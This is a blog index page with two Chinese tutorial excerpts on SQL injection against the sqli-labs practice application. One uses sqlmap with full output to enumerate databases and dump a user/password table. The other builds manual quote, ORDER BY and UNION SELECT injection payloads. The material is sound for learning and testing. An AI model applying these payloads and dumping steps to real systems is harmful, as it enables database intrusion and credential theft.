Ahodor'Via


  • Home

  • Tags

  • Categories

  • Archives

  • Search

sqlmap使用指南

Posted on 2018-04-19

使用sqli-labs练习社区sqlmap(mysql)

漏洞源代码下载:https://github.com/Audi-1/sqli-labs

工具注入(sqlmap)简单演示

简单测试 (-u url)

sqlmap -u "http://xxx.xxx.xxx.xxx/sqli-labs/Less-1/?id=1" --level 3

[*] starting at 15:33:02

[15:33:02] [INFO] resuming back-end DBMS 'mysql' 
[15:33:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 1906=1906-- PKiX

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 6992 FROM(SELECT COUNT(*),CONCAT(0x7162786271,(SELECT (ELT(6992=6992,1))),0x7162766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yOBo

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5)-- PmIF

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: id=-3918' UNION ALL SELECT NULL,CONCAT(0x7162786271,0x58716e444643434d644b55716c6477776464456e4673725a4b65444771624356436a56647a76586b,0x7162766a71),NULL,NULL,NULL-- eMQX
---
[15:33:03] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0

注:-v(–level) 3 同时显示注入的payload

列出数据库系统的数据库(–dbs)

sqlmap -u "http://xxx.xxx.xxx.xxx/sqli-labs/Less-1/?id=1" --dbs

web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0
[14:51:37] [INFO] fetching database names
[14:51:38] [INFO] the SQL query used returns 6 entries
[14:51:39] [INFO] retrieved: information_schema
[14:51:41] [INFO] retrieved: challenges
[14:51:42] [INFO] retrieved: mysql
[14:51:43] [INFO] retrieved: performance_schema
[14:51:44] [INFO] retrieved: security
[14:51:45] [INFO] retrieved: test
available databases [6]:                                                                                 
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test

列出数据库表(–tables -D 数据库名,若无-D参数则显示数据库中所有表)

sqlmap -u "http://xxx.xxx.xxx.xxx/sqli-labs/Less-1/?id=1" --tables -D 'security'
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0
[15:03:02] [INFO] fetching tables for database: 'security'
[15:03:03] [INFO] the SQL query used returns 4 entries
[15:03:04] [INFO] retrieved: emails
[15:03:05] [INFO] retrieved: referers
[15:03:06] [INFO] retrieved: uagents
[15:03:07] [INFO] retrieved: users
Database: security                                                                                     
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

列出数据库中的列(–column -T 表名 -D 数据库名 若无-D参数则默认当前数据库)

sqlmap -u "http://xxx.xxx.xxx.xxx/sqli-labs/Less-1/?id=1" --column -T 'users' -D 'security'

web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0
[15:08:34] [INFO] fetching columns for table 'users' in database 'security'
[15:08:36] [INFO] the SQL query used returns 5 entries
[15:08:37] [INFO] retrieved: "id","int(3)"
[15:08:38] [INFO] retrieved: "username","varchar(20)"
[15:08:39] [INFO] retrieved: "password","varchar(20)"
[15:08:40] [INFO] retrieved: "first_name","varchar(8)"
[15:08:41] [INFO] retrieved: "last_name","varchar(8)"
Database: security                                                                                     
Table: users
[5 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| first_name | varchar(8)  |
| id         | int(3)      |
| last_name  | varchar(8)  |
| password   | varchar(20) |
| username   | varchar(20) |
+------------+-------------+

获取整某张表的信息(–dump -C column1,column2 -T tablename -D databasename )

sqlmap -u "http://xxx.xxx.xxx.xxx/sqli-labs/Less-1/?id=1" --dump -C 'username','password' -T 'users' -D 'security'

web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0
[15:19:18] [INFO] fetching entries of column(s) 'password, username' for table 'users' in database 'security'
[15:19:18] [INFO] the SQL query used returns 13 entries
[15:19:19] [INFO] retrieved: "Dumb","Dumb"
[15:19:20] [INFO] retrieved: "I-kill-you","Angelina"
[15:19:21] [INFO] retrieved: "p@ssword","Dummy"
[15:19:22] [INFO] retrieved: "crappy","secure"
[15:19:23] [INFO] retrieved: "stupidity","stupid"
[15:19:24] [INFO] retrieved: "genious","superman"
[15:19:25] [INFO] retrieved: "mob!le","batman"
[15:19:26] [INFO] retrieved: "admin","admin"
[15:19:27] [INFO] retrieved: "admin1","admin1"
[15:19:29] [INFO] retrieved: "admin2","admin2"
[15:19:30] [INFO] retrieved: "admin3","admin3"
[15:19:31] [INFO] retrieved: "dumbo","dhakkan"
[15:19:32] [INFO] retrieved: "admin4","admin4"
[15:19:32] [INFO] analyzing table dump for possible password hashes                                    
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+
Read more »

sqli-labs_Less_1-4

Posted on 2018-04-19

sqli-labs练习SQL注入(mysql)

漏洞源代码下载:https://github.com/Audi-1/sqli-labs

手工注入(hackbar)

Less-1 Get-Error-Single quotes-String

从标题可以知是基于get请求方法的单引号字符报错

页面提示输入数字型参数 id

/sqli-labs/Less-1/?id=1

返回正常页面

Welcome    Dhakkan
Your Login name:Dumb
Your Password:Dumb

加一个单引号测试

sqli-labs/Less-1/?id=1'

页面报错

Welcome    Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 

从外层依次去掉闭合的单引号可以看到只剩下 1’ ,可知为字符型注sql注入(字符型和数字型的区别会在Less-2后区分)。

构造payload

在这里使用 # 或– 注释掉多余的部分(当然,这里也可以使用其他方法闭合这个单引号),对#进行了url编码,构造好使其正常返回。

sqli-labs/Less-1/?id=1' %23

返回正常

猜测字段数(order by )

使用联合查询 (union select)
首先使用order by 进行字段数猜测

sqli-labs/Less-1/?id=1'  order by 10%23

返回错误 :Unknown column ‘10’ in ‘order clause’

sqli-labs/Less-1/?id=1'  order by 5%23

返回正常

sqli-labs/Less-1/?id=1'  order by 6%23

返回错误
可知字段数为 5

找到显示位

sqli-labs/Less-1/?id=-1'  union select 1,2,3,4,5%23

这里注意把id的值设置为一个错误的值,这里设置为了-1可知显示位在 2,3

 Welcome    Dhakkan
Your Login name:2
Your Password:3

查看目标数据库基本信息

sqli-labs/Less-1/?id=-1'  union select 1,version(),user(),4,5%23

返回如下

Welcome    Dhakkan
Your Login name:5.5.53
Your Password:root@localhost
Read more »
123

Ahodor

22 posts
17 tags
© 2018 Ahodor
本站访客数: